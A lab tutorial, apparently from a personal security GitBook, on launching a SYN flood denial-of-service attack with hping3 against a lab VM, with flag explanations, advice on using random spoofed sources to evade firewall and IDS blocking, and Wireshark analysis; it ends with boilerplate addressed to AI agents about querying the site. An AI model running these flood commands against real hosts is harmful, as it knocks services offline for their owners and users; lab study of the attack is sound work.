# SYN Flooding with HPING3
## What is SYN Flooding or SYN Flood?
The idea behind the SYN flood attack is to saturate our target by sending packets that have only the SYN flag enabled, without caring about the server's response. Knowing the 3-way handshake mechanism of the TCP protocol we know that normally a request **`SYN`**, is answered by the server with **`SYN-ACK`** for the client to finally respond with **`ACK`** and establish the connection.
In the case of the SYN attack, we leave the server waiting for the ACK response so the connection remains open waiting for that response from a spoofed source IP that will not send any reply.
This produces, after countless SYN packets received, a saturation on the server which prevents it from receiving legitimate traffic to access any of the services it offers. For example a **`web page or application`** being served on **`port 80`**, will stop responding when the server becomes saturated. In some cases the entire server can be affected by consuming all available resources and it may cause the server to crash or reboot.
For this practice I will use the following VMs in VMWare WorkStation:
* **Attack VM:**
* Kali 2020.4 with HPING and Wireshark installed.
* **Target VM:**
* Windows 10 VM (Part of the [local AD lab](/tzero86/scanning/running-scans-with-nmap.md) ).
## Performing a SYN Flooding attack with HPING
To begin we will need to have HPING3 installed; on distributions like KALI and Parrot OS it already comes installed (otherwise just use the command **`sudo apt-get install hping`**). Once we have HPING installed we can start to see how to carry out this attack. For which we will use the following command with HPING:
```
sudo hping3 -S 192.168.1.40 -a 10.10.10.10 --flood
```
Let's see what each switch we provided to HPING means:
| Switch | Function |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| **-S** | Sets the SYN flag in the sent packet. |
| **-a** | To do IP Spoofing, that is to simulate that packets are sent from another IP and not from our attack machine. We must specify the IP we want to use. |
| **-flood** | Tells HPING to send packets as fast as possible without waiting for any kind of response from the target. |
Alternatively we can tell HPING to use random IP addresses for the attack, that way each packet will be sent from a different IP than the previous one. For this we use the switch **`--rand-source`**. Unlike the **`-a`**switch, it is not necessary to indicate the IPs in this case.
{% hint style="info" %}
In a real scenario, this constant traffic would be detected by a Firewall or IDS (Intrusion Detection System) which normally results in our source IP being blocked after a few connection attempts. In these cases using the --rand-source switch will allow us to evade these protections since each packet will contain a spoofed source IP different from the previous one.
{% endhint %}
Let's see how our attack command looks from the terminal:
As we can see the command does not show much information and as expected it also does not process any response from the target nor does it tell us if the packets sent actually reached the target. If we see how the target machine reacts we can see that we have the network usage quite maxed out:
It should be noted that this attack is "generic", but **`HPING`** gives us the possibility to specify which ports we want to attack using the switch **`-p port_number`**. This is especially useful for example if we are attacking a port that serves a web application. In that case this attack would cause the web application to stop responding normally given the constant attack with SYN packets that we are performing. Which would in effect be a **Denial of Service (DoS)**.
Now let's see how we can observe this attack and its network traffic using **`Wireshark`**.
## Analyzing SYN Flooding with Wireshark
If we open [Wireshark](/tzero86/sniffing/wireshark.md) on our attack machine, start capturing traffic on the adapter **`eth0`** and use the following display filter **`ip.addr == 192.168.1.40 && tcp`** we can see the network packets with the **`SYN`** flag being sent to the target:
{% hint style="danger" %}
**NOTE:** If we let **Wireshark** capture this network traffic without stopping the capture after a few minutes, ***most likely we will see that Wireshark will stop responding***. Sometimes even ***the entire VM will stop responding***.
{% endhint %}
If we analyze the contents of any of those packets, we see that the **`SYN`** flag we indicated from HPING is being sent correctly:
If we stop the attack in HPING we can observe the huge number of packets sent to our target:
This way we see how simple it is to carry out a simple **`DoS`** using **`HPING`** with **`SYN`** packets and the flooding functionality of **`HPING`** and how we can observe and analyze this network traffic using **`Wireshark`**.
{% hint style="info" %}
These labs are subject to modifications and corrections; the most up-to-date version is available online at [the following link](https://tzero86.gitbook.io/tzero86/).
{% endhint %}
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://tzero86.gitbook.io/tzero86/denial-of-service/syn-flooding-con-hping.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.